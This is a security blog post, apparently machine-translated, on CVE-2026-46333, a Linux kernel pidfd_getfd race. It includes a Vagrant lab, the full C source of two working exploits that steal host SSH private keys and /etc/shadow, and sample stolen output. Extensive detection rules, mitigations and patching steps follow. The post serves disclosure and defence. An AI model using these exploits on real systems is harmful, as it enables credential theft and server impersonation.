Home Linux & Systems Cybersecurity Cloud & DevOps Networks & Infrastructure SIEM & Monitoring DFIR & Threat Intel Development & Other All categories Projects About Tools

CVE-2026-46333 ssh-keysign-pwn: Unprivileged SSH and /etc/shadow key theft

Leer en espanol
CVE-2026-46333 ssh-keysign-pwn: Unprivileged SSH and /etc/shadow key theft

Table of contents

ssh-keysign-pwn exploits a bug in ptrace_may_access() of the Linux kernel that allows an unprivileged user to read root-protected files such as keys ===

What is ssh-keysign-pwn (CVE-2026-46333)

ssh-keysign-pwn exploits a bug in ptrace_may_access() of the Linux kernel that allows an unprivileged user read root protected files such as the host's SSH private keys (/etc/ssh/ssh_host_*_key, mode 0600) and /etc/shadow.

It is not a direct escalation of privileges: it is a privileged file reading vulnerability which allows stealing credentials to obtain root later (offline cracking of the shadow hash, or impersonation of the SSH server with the stolen keys).

The bug was reported by Qualys and patched by Linus Torvalds on 05-2026-14 (commit 31e62c2ebbfd). Jann Horn had already identified the form of the attack with pidfd_getfd in October 2020. Six years open.

Key data

FieldWorth
CVECVE-2026-46333
GuyReading privileged files (information disclosure)
CWEPending assignment
Kernels affectedAll stable ones prior to 2026-05-14 (pre-31e62c2ebbfd)
public exploitYeah (0xdeadbeefnetwork/ssh-keysign-pwn)
ComplexityLow (pure C, ~90 lines, no dependencies)
Confirmed inUbuntu 22.04/24.04/26.04, Debian 13, Arch, CentOS 9, RPi OS Bookworm

The bug: ptrace_may_access() and mm-NULL

The function __ptrace_may_access() in the kernel it checks if one process can access another. Part of that verification checks if the target process is "dumpable" (it can generate core dumps). but when task->mm == NULL (the process no longer has memory mapped), skips dumpability check.

The exploitation window is in do_exit():

  1. A setuid process (e.g. ssh-keysign) opens privileged files as root
  2. The process calls exit_mm() — frees your memory, task->mm = NULL
  3. But the file descriptors are still openexit_files() it is executed later
  4. In that window (mm=NULL, open fds), pidfd_getfd(2) can steal file descriptors if the caller's uid matches the target's uid

pidfd_getfd(2) It is a syscall that allows you to obtain a copy of a file descriptor from another process. It is normally protected by ptrace_may_access(), but the bug in the dumpability check lets it pass when mm=NULL.

The two attack vectors

1. sshkeysign_pwn — host SSH key theft

ssh-keysign is a setuid binary that opens /etc/ssh/ssh_host_{ecdsa,ed25519,rsa}_key (mode 0600, owned by root) before calling permanently_set_uid(). Yeah EnableSSHKeysign=no (the default setting), ssh-keysign exits with the key file descriptors still open.

The exploit:

  1. Lance ssh-keysign repeatedly (up to 500 rounds)
  2. Open a pidfd to the child process with pidfd_open()
  3. try pidfd_getfd() in a fast loop (30000 attempts) over fd 3-31
  4. When the mm-NULL window hits, you get the fd of the private key
  5. Read and display key by stdout

2. chage_pwn — stealing from /etc/shadow

chage -l open /etc/shadow with O_RDONLY and then does setreuid(ruid, ruid) to remove privileges. Same race condition: the fds remain open during do_exit().

Exploitation scenarios

Where IS exploitable

SceneryRiskBecause
Multi-tenant SSH serversCriticalAny user steals the host SSH keys and can impersonate the server (MitM)
Servers with local usersCriticaltheft of /etc/shadow + offline cracking = root
CI/CD runnersHighA malicious job steals SSH keys from the runner
Containers (if ssh-keysign available)HighPartial Escape: Host Credential Theft
Shared Cloud VMsHighA tenant steals the VM's SSH keys

What can be stolen

FileAsImpact
/etc/ssh/ssh_host_ecdsa_keysshkeysign_pwnImpersonate SSH server, MitM
/etc/ssh/ssh_host_ed25519_keysshkeysign_pwnImpersonate SSH server, MitM
/etc/ssh/ssh_host_rsa_keysshkeysign_pwnImpersonate SSH server, MitM
/etc/shadowchage_pwnOffline password cracking, root if cracked

Where it is NOT exploitable

SceneryBecause
Patched kernel (>= 31e62c2ebbfd)The dumpability check works correctly
Systems without ssh-keysignWithout the setuid binary, there is no fd to steal (for that vector)
Containers without setuid binaries--no-new-privileges either nosuid mount prevent attack
Systems with disabled passwordsShadow without useful hashes (only * either !)

Lab: Reproduction with Vagrant

Requirements

  • Vagrant >= 2.4
  • VirtualBox >= 7.0
  • Internet connection

Deploy the vulnerable VM

BASH
#!/bin/bash
# deploy_ssh_keysign_pwn_lab.sh - Lab para CVE-2026-46333
# Uso: chmod +x deploy_ssh_keysign_pwn_lab.sh && ./deploy_ssh_keysign_pwn_lab.sh

LAB_DIR="ssh_keysign_pwn_lab"

echo "=== CVE-2026-46333 (ssh-keysign-pwn) Lab ==="
mkdir -p "$LAB_DIR"

cat > "$LAB_DIR/Vagrantfile" << 'EOF'
# -*- mode: ruby -*-
# CVE-2026-46333 - ssh-keysign-pwn Lab
# ptrace_may_access mm-NULL bypass + pidfd_getfd

Vagrant.configure("2") do |config|
  config.vm.box = "bento/ubuntu-24.04"
  config.vm.hostname = "ssh-keysign-pwn-lab"

  config.vm.provider "virtualbox" do |vb|
    vb.name = "ssh-keysign-pwn-lab"
    vb.memory = "1024"
    vb.cpus = 2
  end

  config.vm.provision "shell", inline: <<-SHELL
    export DEBIAN_FRONTEND=noninteractive
    apt-mark hold linux-image-generic linux-headers-generic linux-image-$(uname -r) 2>/dev/null
    apt-get update -qq
    apt-get install -y -qq gcc make git openssh-client

    useradd -m -s /bin/bash attacker
    echo "attacker:attacker" | chpasswd

    cd /home/attacker
    git clone https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn.git 2>/dev/null || true
    if [ -d /home/attacker/ssh-keysign-pwn ]; then
      cd /home/attacker/ssh-keysign-pwn && make
    fi
    chown -R attacker:attacker /home/attacker/ssh-keysign-pwn

    echo ""
    echo "============================================"
    echo " CVE-2026-46333 ssh-keysign-pwn"
    echo " Kernel: $(uname -r)"
    echo "============================================"
    echo " vagrant ssh && su - attacker"
    echo " cd ssh-keysign-pwn"
    echo " ./sshkeysign_pwn     # roba claves SSH host"
    echo " ./chage_pwn root     # roba /etc/shadow"
    echo "============================================"
  SHELL
end
EOF

cd "$LAB_DIR" && vagrant up
echo "Lab listo. Conecta con: cd $LAB_DIR && vagrant ssh"

Execute:

BASH
chmod +x deploy_ssh_keysign_pwn_lab.sh
./deploy_ssh_keysign_pwn_lab.sh

The VM wakes up with:

  • Ubuntu 24.04 with kernel 6.8.0-86-generic (vulnerable)
  • ssh-keysign installed in /usr/lib/openssh/ssh-keysign
  • Exploit compiled in /home/attacker/ssh-keysign-pwn/
  • User attacker (password: attacker) without privileges

Verify that the system is vulnerable

BASH
vagrant ssh

# Comprobar kernel
uname -r
# 6.8.0-86-generic

# Comprobar que ssh-keysign existe y es setuid
ls -la /usr/lib/openssh/ssh-keysign
# -rwsr-xr-x 1 root root  ssh-keysign

# Comprobar que las claves SSH no son legibles
cat /etc/ssh/ssh_host_ecdsa_key
# Permission denied

# Comprobar que shadow no es legible
cat /etc/shadow
# Permission denied

Run the exploits

Steal host SSH keys:

BASH
su - attacker
# Password: attacker

cd ssh-keysign-pwn
./sshkeysign_pwn

Actual test output:

CODE
uid=1001  target=/usr/lib/openssh/ssh-keysign
fd 4 -> /etc/ssh/ssh_host_ecdsa_key (round=0 try=1664)
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQENXQ9aojrtWZkPgMfrQ8MN2fd8EXU
...
-----END OPENSSH PRIVATE KEY-----

The exploit steals the ECDSA private key from the SSH host in the first round, after 1664 race condition attempts. The file has permissions 0600 and is owned by root, but the exploit reads it as an unprivileged user.

Steal /etc/shadow:

BASH
./chage_pwn root

Actual output:

CODE
fd 6 -> /etc/shadow (round=0 try=648)
root:*:20305:0:99999:7:::
daemon:*:20305:0:99999:7:::
...
vagrant:$6$rounds=4096$5CU3LEj/...:20384:0:99999:7:::
attacker:$y$j9T$74vFTWOXXLb...:20590:0:99999:7:::

Steal the entire shadow file in round 0, try 648. Password hashes can be cracked offline with hashcat either john.

Complete source code of the exploits

sshkeysign_pwn.c

The exploit sshkeysign_pwn.c It's surprisingly simple (~90 lines of pure C, no external dependencies):

c
/*
 * "It is a fearful thing to fall into the hands of the living God."
 *                                                — Hebrews 10:31
 *
 * ssh-keysign opens /etc/ssh/ssh_host_*_key before permanently_set_uid().
 * Bails out with the fds still open on EnableSSHKeysign=no. Race the
 * exit window with pidfd_getfd. mm-NULL bypasses the dumpable check
 * (kernel/ptrace.c, patched 31e62c2ebbfd 2026-05-14).
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/wait.h>

#ifndef __NR_pidfd_open
#define __NR_pidfd_open  434
#endif
#ifndef __NR_pidfd_getfd
#define __NR_pidfd_getfd 438
#endif

static int pidfd_open(pid_t pid, unsigned f)
{
	return syscall(__NR_pidfd_open, pid, f);
}

static int pidfd_getfd(int pfd, int fd, unsigned f)
{
	return syscall(__NR_pidfd_getfd, pfd, fd, f);
}

static const char *PATHS[] = {
	"/usr/libexec/ssh-keysign",
	"/usr/libexec/openssh/ssh-keysign",
	"/usr/lib/ssh/ssh-keysign",
	"/usr/lib/openssh/ssh-keysign",
	NULL,
};

int main(void)
{
	const char *bin = NULL;
	for (int i = 0; PATHS[i]; i++)
		if (access(PATHS[i], X_OK) == 0) { bin = PATHS[i]; break; }
	if (!bin) { fprintf(stderr, "ssh-keysign not found\n"); return 1; }
	fprintf(stderr, "uid=%d  target=%s\n", getuid(), bin);

	for (int round = 0; round < 500; round++) {
		pid_t c = fork();
		if (c == 0) {
			int dn = open("/dev/null", O_RDWR);
			dup2(dn, 0); dup2(dn, 1); dup2(dn, 2);
			execl(bin, "ssh-keysign", (char *)NULL);
			_exit(127);
		}

		int pfd = pidfd_open(c, 0);
		if (pfd < 0) { waitpid(c, NULL, 0); continue; }

		int hit = 0;
		for (int a = 0; a < 30000 && !hit; a++) {
			for (int i = 3; i < 32; i++) {
				int s = pidfd_getfd(pfd, i, 0);
				if (s < 0) continue;

				char p[256] = {0}, lk[64];
				snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
				ssize_t n = readlink(lk, p, sizeof(p) - 1);
				if (n > 0) p[n] = 0;

				if (strstr(p, "ssh_host_") && strstr(p, "_key")) {
					fprintf(stderr, "fd %d -> %s (round=%d try=%d)\n", i, p, round, a);
					char buf[4096];
					lseek(s, 0, SEEK_SET);
					ssize_t k = read(s, buf, sizeof(buf) - 1);
					if (k > 0) { buf[k] = 0; fputs(buf, stdout); }
					close(s);
					hit = 1;
					break;
				}
				close(s);
			}
		}

		close(pfd);
		waitpid(c, NULL, 0);
		if (hit) return 0;
	}

	fprintf(stderr, "no hit in 500 rounds\n");
	return 1;
}

chage_pwn.c

The second attack vector, to steal /etc/shadow via chage:

c
/*
 * "It is a fearful thing to fall into the hands of the living God."
 *                                                — Hebrews 10:31
 *
 * chage -l opens /etc/passwd and /etc/shadow before
 * setreuid(ruid, ruid). The drop sets uid=euid=suid=ruid. mm-NULL
 * window in do_exit() lets pidfd_getfd lift the /etc/shadow fd.
 *
 * Crack the root hash offline -> su - -> root shell.
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/wait.h>

#ifndef __NR_pidfd_open
#define __NR_pidfd_open  434
#endif
#ifndef __NR_pidfd_getfd
#define __NR_pidfd_getfd 438
#endif

int main(int argc, char **argv)
{
	const char *user = argc > 1 ? argv[1] : "root";

	for (int round = 0; round < 500; round++) {
		pid_t c = fork();
		if (c == 0) {
			int dn = open("/dev/null", O_RDWR);
			dup2(dn, 1); dup2(dn, 2);
			execl("/usr/bin/chage", "chage", "-l", user, (char *)NULL);
			_exit(127);
		}
		int pfd = syscall(__NR_pidfd_open, c, 0);
		if (pfd < 0) { waitpid(c, NULL, 0); continue; }

		int got = -1;
		for (int a = 0; a < 30000 && got < 0; a++) {
			for (int i = 3; i < 32; i++) {
				int s = syscall(__NR_pidfd_getfd, pfd, i, 0);
				if (s < 0) continue;
				char p[256] = {0}, lk[64];
				snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
				ssize_t n = readlink(lk, p, sizeof(p) - 1);
				if (n > 0) p[n] = 0;
				if (strstr(p, "/etc/shadow")) {
					fprintf(stderr, "fd %d -> %s (round=%d try=%d)\n", i, p, round, a);
					got = s;
					break;
				}
				close(s);
			}
		}

		if (got >= 0) {
			char buf[8192];
			lseek(got, 0, SEEK_SET);
			ssize_t n;
			while ((n = read(got, buf, sizeof(buf))) > 0)
				fwrite(buf, 1, n, stdout);
			close(got);
			close(pfd);
			waitpid(c, NULL, 0);
			return 0;
		}
		close(pfd);
		waitpid(c, NULL, 0);
	}
	fprintf(stderr, "no hit in 500 rounds\n");
	return 1;
}

Manual compilation

BASH
gcc -O2 -o sshkeysign_pwn sshkeysign_pwn.c
gcc -O2 -o chage_pwn chage_pwn.c

How it works

The key is in pidfd_getfd(): normally fails with EPERM because ptrace_may_access() he blocks it. But during the window between exit_mm() and exit_files() in do_exit(), the dumpability check is skipped because task->mm == NULL, and pidfd_getfd() is successful.

The flow of sshkeysign_pwn is: throw ssh-keysign repeatedly (up to 500 rounds), open a pidfd to the child process, and try pidfd_getfd() in a fast loop (30000 attempts) on fd 3-31. When the mm-NULL window hits, you get the fd of the private key, verify that it points to ssh_host_*_key via /proc/self/fd/, and reads it through stdout. chage_pwn follow the same pattern but look /etc/shadow in the stolen fd.

Workarounds for unpatchable environments

Workaround 1: Disable ssh-keysign

ssh-keysign It is not used on the vast majority of systems (it is only needed for host-based authentication, which almost no one configures):

BASH
# Quitar permisos de ejecución
chmod 0 /usr/lib/openssh/ssh-keysign

# O eliminar el bit setgid
chmod g-s /usr/lib/openssh/ssh-keysign

# Verificar
ls -la /usr/lib/openssh/ssh-keysign
# ---------- 1 root ssh 0 ssh-keysign

What breaks this: only affects host-based SSH authentication (HostbasedAuthentication yes), which is rarely used.

Workaround 2: Protect chage

On Ubuntu 24.04 chage has setgid (-rwxr-sr-x 1 root shadow), do not setuid. remove only u-s has no effect. The safe way is to restrict access completely:

BASH
# Restringir acceso (recomendado)
chmod 750 /usr/bin/chage

# O quitar todos los bits setuid/setgid
chmod a-s /usr/bin/chage

What breaks this: chage -l will stop working for normal users. Admins can continue using sudo chage.

Workaround 3: Audit rules

BASH
# /etc/audit/rules.d/ssh-keysign-pwn.rules

# Detectar ejecución de ssh-keysign por usuarios no-root
-a always,exit -F arch=b64 -S execve -F path=/usr/lib/openssh/ssh-keysign -F auid>=1000 -k ssh_keysign_exec

# Detectar pidfd_getfd (syscall 438)
-a always,exit -F arch=b64 -S 438 -F auid>=1000 -k pidfd_getfd_attempt

# Detectar lectura de claves SSH host
-w /etc/ssh/ssh_host_ecdsa_key -p r -k ssh_host_key_read
-w /etc/ssh/ssh_host_ed25519_key -p r -k ssh_host_key_read
-w /etc/ssh/ssh_host_rsa_key -p r -k ssh_host_key_read

# Detectar ejecución masiva de chage
-a always,exit -F arch=b64 -S execve -F path=/usr/bin/chage -F auid>=1000 -k chage_exec
BASH
augenrules --load

Workaround 4: Lock pidfd_getfd with seccomp

For containers, block the syscall pidfd_getfd (438):

JSON
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "names": ["pidfd_getfd"],
      "action": "SCMP_ACT_ERRNO"
    }
  ]
}

Attack detection

Commitment indicators

The exploit has a very recognizable pattern:

  • Massive and rapid execution of ssh-keysign (100-2000 spawns)
  • Calls pidfd_open + pidfd_getfd in a gust
  • A non-root process that suddenly has a fd open pointing to /etc/ssh/ssh_host_*_key

auditd rule

BASH
# /etc/audit/rules.d/ssh-keysign-pwn.rules

# Detectar ejecución masiva de ssh-keysign
-a always,exit -F arch=b64 -S execve -F path=/usr/lib/openssh/ssh-keysign -F auid>=1000 -k cve_2026_46333_keysign

# Detectar syscall pidfd_getfd (438) por no-root
-a always,exit -F arch=b64 -S 438 -F auid>=1000 -k cve_2026_46333_pidfd

# Detectar lectura de /etc/shadow por no-root
-w /etc/shadow -p r -k cve_2026_46333_shadow

# Detectar lectura de claves SSH host
-w /etc/ssh/ssh_host_ecdsa_key -p r -k cve_2026_46333_hostkey
-w /etc/ssh/ssh_host_ed25519_key -p r -k cve_2026_46333_hostkey
-w /etc/ssh/ssh_host_rsa_key -p r -k cve_2026_46333_hostkey

YARA rule

YARA
rule SSHKeysignPwn_CVE_2026_46333 {
    meta:
        description = "Detecta el exploit ssh-keysign-pwn (CVE-2026-46333)"
        author = "Red Orbita"
        date = "2026-05-17"
        cve = "CVE-2026-46333"
        severity = "critical"

    strings:
        $s1 = "pidfd_getfd" ascii
        $s2 = "pidfd_open" ascii
        $s3 = "ssh-keysign" ascii
        $s4 = "ssh_host_" ascii
        $s5 = "sshkeysign_pwn" ascii
        $s6 = "chage_pwn" ascii
        $s7 = "/etc/shadow" ascii
        $s8 = "no hit in 500 rounds" ascii

    condition:
        ($s1 and $s2 and ($s3 or $s4)) or
        ($s5 or $s6) or
        ($s8 and $s1) or
        (4 of them)
}
BASH
yara -r ssh_keysign_pwn.yar /home/ /tmp/ /var/tmp/ /dev/shm/

Wazuh Rules

XML
<group name="ssh_keysign_pwn,exploit,cve-2026-46333">

  <!-- Ejecución de ssh-keysign por usuario no privilegiado -->
  <rule id="100520" level="12">
    <if_sid>80700</if_sid>
    <field name="audit.key">cve_2026_46333_keysign</field>
    <description>CVE-2026-46333: Ejecución de ssh-keysign por usuario no-root</description>
    <mitre>
      <id>T1552.004</id>
    </mitre>
    <group>exploit_attempt,</group>
  </rule>

  <!-- Ejecución masiva de ssh-keysign (>10 en 5 segundos) -->
  <rule id="100521" level="15" frequency="10" timeframe="5">
    <if_matched_sid>100520</if_matched_sid>
    <same_source_ip/>
    <description>CVE-2026-46333: Ejecución masiva de ssh-keysign (race condition en curso)</description>
    <mitre>
      <id>T1552.004</id>
    </mitre>
    <group>exploit_attempt,attack,</group>
  </rule>

  <!-- Uso de pidfd_getfd por no-root -->
  <rule id="100522" level="12">
    <if_sid>80700</if_sid>
    <field name="audit.key">cve_2026_46333_pidfd</field>
    <description>CVE-2026-46333: Syscall pidfd_getfd por usuario no-root</description>
    <mitre>
      <id>T1552</id>
    </mitre>
    <group>exploit_attempt,</group>
  </rule>

  <!-- Lectura de clave SSH host por no-root -->
  <rule id="100523" level="14">
    <if_sid>80700</if_sid>
    <field name="audit.key">cve_2026_46333_hostkey</field>
    <description>CVE-2026-46333: Lectura de clave SSH host por usuario no-root</description>
    <mitre>
      <id>T1552.004</id>
    </mitre>
    <group>credential_access,attack,</group>
  </rule>

  <!-- Lectura de /etc/shadow por no-root -->
  <rule id="100524" level="15">
    <if_sid>80700</if_sid>
    <field name="audit.key">cve_2026_46333_shadow</field>
    <description>CVE-2026-46333: Lectura de /etc/shadow por usuario no-root</description>
    <mitre>
      <id>T1003.008</id>
    </mitre>
    <group>credential_access,attack,</group>
  </rule>

</group>

Elastic Security

JSON
{
  "rule": {
    "name": "CVE-2026-46333 ssh-keysign-pwn - Mass ssh-keysign Execution",
    "description": "Detecta ejecución masiva de ssh-keysign que indica explotación de CVE-2026-46333",
    "severity": "critical",
    "risk_score": 95,
    "type": "threshold",
    "query": "process.name: \"ssh-keysign\" AND user.id >= 1000",
    "threshold": {
      "field": ["host.name"],
      "value": 10,
      "cardinality": []
    },
    "threat": [
      {
        "framework": "MITRE ATT&CK",
        "tactic": {
          "id": "TA0006",
          "name": "Credential Access"
        },
        "technique": [
          {
            "id": "T1552.004",
            "name": "Private Keys"
          }
        ]
      }
    ],
    "tags": ["CVE-2026-46333", "ssh-keysign-pwn", "Linux"]
  }
}

KQL:

CODE
# Ejecución masiva de ssh-keysign
process.name: "ssh-keysign" AND user.id >= 1000

# Uso de pidfd_getfd
auditd.data.key: "cve_2026_46333_pidfd"

# Acceso a claves SSH host
auditd.data.key: "cve_2026_46333_hostkey"

Splunk

SPL
| Ejecución masiva de ssh-keysign
index=linux sourcetype=linux:audit key="cve_2026_46333_keysign"
| bucket _time span=5s
| stats count by host, auid, _time
| where count > 10
| eval severity="critical"

| Uso de pidfd_getfd por no-root
index=linux sourcetype=linux:audit syscall=438 auid>=1000
| stats count by host, auid, exe
| sort -count

| Acceso a claves SSH host o shadow
index=linux sourcetype=linux:audit (key="cve_2026_46333_hostkey" OR key="cve_2026_46333_shadow")
| stats count by host, auid, key, _time

IBM QRadar

CODE
Rule Name: CVE-2026-46333 ssh-keysign-pwn - Mass Execution
Rule Type: Event (Anomaly)
Condition:
  - More than 10 events with Event Name "SYSCALL" AND "ssh-keysign"
  - Within 5 seconds
  - From same Source IP
Action: Dispatch Critical Offense
Severity: 10
MITRE: T1552.004

Quick detection script

BASH
#!/bin/bash
# check_ssh_keysign_pwn.sh - Verificar estado de CVE-2026-46333

echo "=== CVE-2026-46333 ssh-keysign-pwn - Check ==="
echo ""

# 1. Verificar si ssh-keysign existe y es setuid/setgid
VULN=0
for path in /usr/libexec/ssh-keysign /usr/libexec/openssh/ssh-keysign \
            /usr/lib/ssh/ssh-keysign /usr/lib/openssh/ssh-keysign; do
    if [ -f "$path" ]; then
        PERMS=$(stat -c%A "$path")
        if echo "$PERMS" | grep -q "s"; then
            echo "[VULNERABLE] $path tiene bit setuid/setgid: $PERMS"
            VULN=1
        else
            echo "[OK] $path sin bit setuid/setgid: $PERMS"
        fi
    fi
done

if [ $VULN -eq 0 ]; then
    echo "[OK] ssh-keysign no encontrado o sin setuid"
fi

# 2. Verificar si chage tiene setuid
if [ -f /usr/bin/chage ]; then
    PERMS=$(stat -c%A /usr/bin/chage)
    if echo "$PERMS" | grep -q "s"; then
        echo "[VULNERABLE] /usr/bin/chage tiene bit setuid: $PERMS"
        VULN=1
    fi
fi

# 3. Verificar kernel
echo ""
echo "[INFO] Kernel: $(uname -r)"

# 4. Buscar el exploit
echo ""
echo "Buscando indicadores de compromiso..."
for dir in /home /tmp /var/tmp /dev/shm; do
    find "$dir" \( -name "sshkeysign_pwn" -o -name "chage_pwn" -o -name "ssh-keysign-pwn" \) 2>/dev/null | while read f; do
        echo "  [ALERTA] Exploit encontrado: $f"
    done
done

# 5. Verificar integridad de claves SSH
echo ""
echo "Claves SSH host:"
for key in /etc/ssh/ssh_host_*_key; do
    if [ -f "$key" ]; then
        PERMS=$(stat -c%a "$key")
        OWNER=$(stat -c%U "$key")
        echo "  $key: permisos=$PERMS owner=$OWNER"
        if [ "$PERMS" != "600" ] || [ "$OWNER" != "root" ]; then
            echo "  [ALERTA] Permisos incorrectos"
        fi
    fi
done

echo ""
if [ $VULN -eq 1 ]; then
    echo "[VULNERABLE] Aplicar workaround: chmod 0 /usr/lib/openssh/ssh-keysign"
else
    echo "[OK] Sistema no vulnerable al vector ssh-keysign"
fi

Definitive solution: update the kernel

The patch is the commit 31e62c2ebbfd by Linus Torvalds (2026-05-14), which modifies get_dumpable() to return a safe value when task->mm == NULL:

  • If the process never had mm (kernel thread): returns "not dumpable" (value 0)
  • If the process had mm but already released it: use the last cached dumpability value
  • Requires CAP_SYS_PTRACE to access processes without mm

Ubuntu

BASH
sudo apt update && sudo apt upgrade -y linux-image-generic
sudo reboot

Debian

BASH
sudo apt update && sudo apt upgrade -y linux-image-amd64
sudo reboot

RHEL/CentOS/Rocky

BASH
sudo dnf update kernel -y
sudo reboot

Post-patch: rotate host SSH keys

Critical- If the system was vulnerable, the host SSH keys may have been stolen. Rotate them:

BASH
# Regenerar todas las claves SSH host
rm /etc/ssh/ssh_host_*
ssh-keygen -A

# Reiniciar sshd
systemctl restart sshd

# Notificar a los usuarios que actualicen known_hosts
echo "ATENCION: Las claves SSH del host han cambiado"
echo "Los usuarios deben ejecutar:"
echo "  ssh-keygen -R <hostname>"

Recommended response plan

PriorityActionTime
Immediatechmod 0 /usr/lib/openssh/ssh-keysign on all hosts< 30 min
ImmediateDeploy audit rules< 1 hour
24hCheck if /etc/shadow contains crackable hashes< 24h
24hRotate host SSH keys on critical servers< 24h
72hUpdate kernel on all systems< 72h
Post-patchRotate host SSH keys on all serversAfter patch
Post-patchForce password change if shadow was exposedAfter patch

Conclusions

CVE-2026-46333 is a 6-year-old bug in ptrace_may_access() which allows reading privileged files without authentication. What makes it dangerous:

  • Simplicity: ~90 lines of C, no dependencies, works in round 0
  • Universality- Affects all stable kernels before 2026-05-14
  • Real impact: host SSH key theft (MitM) + shadow (offline cracking)
  • difficult to detect- The exploit only runs normal system binaries (ssh-keysign, chage)
  • old pattern: Jann Horn identified it in 2020, but it was not corrected until 2026

The most effective immediate mitigation is chmod 0 /usr/lib/openssh/ssh-keysign, which does not affect normal SSH operations. After patching, rotate host ssh keys It is mandatory.

References

Comments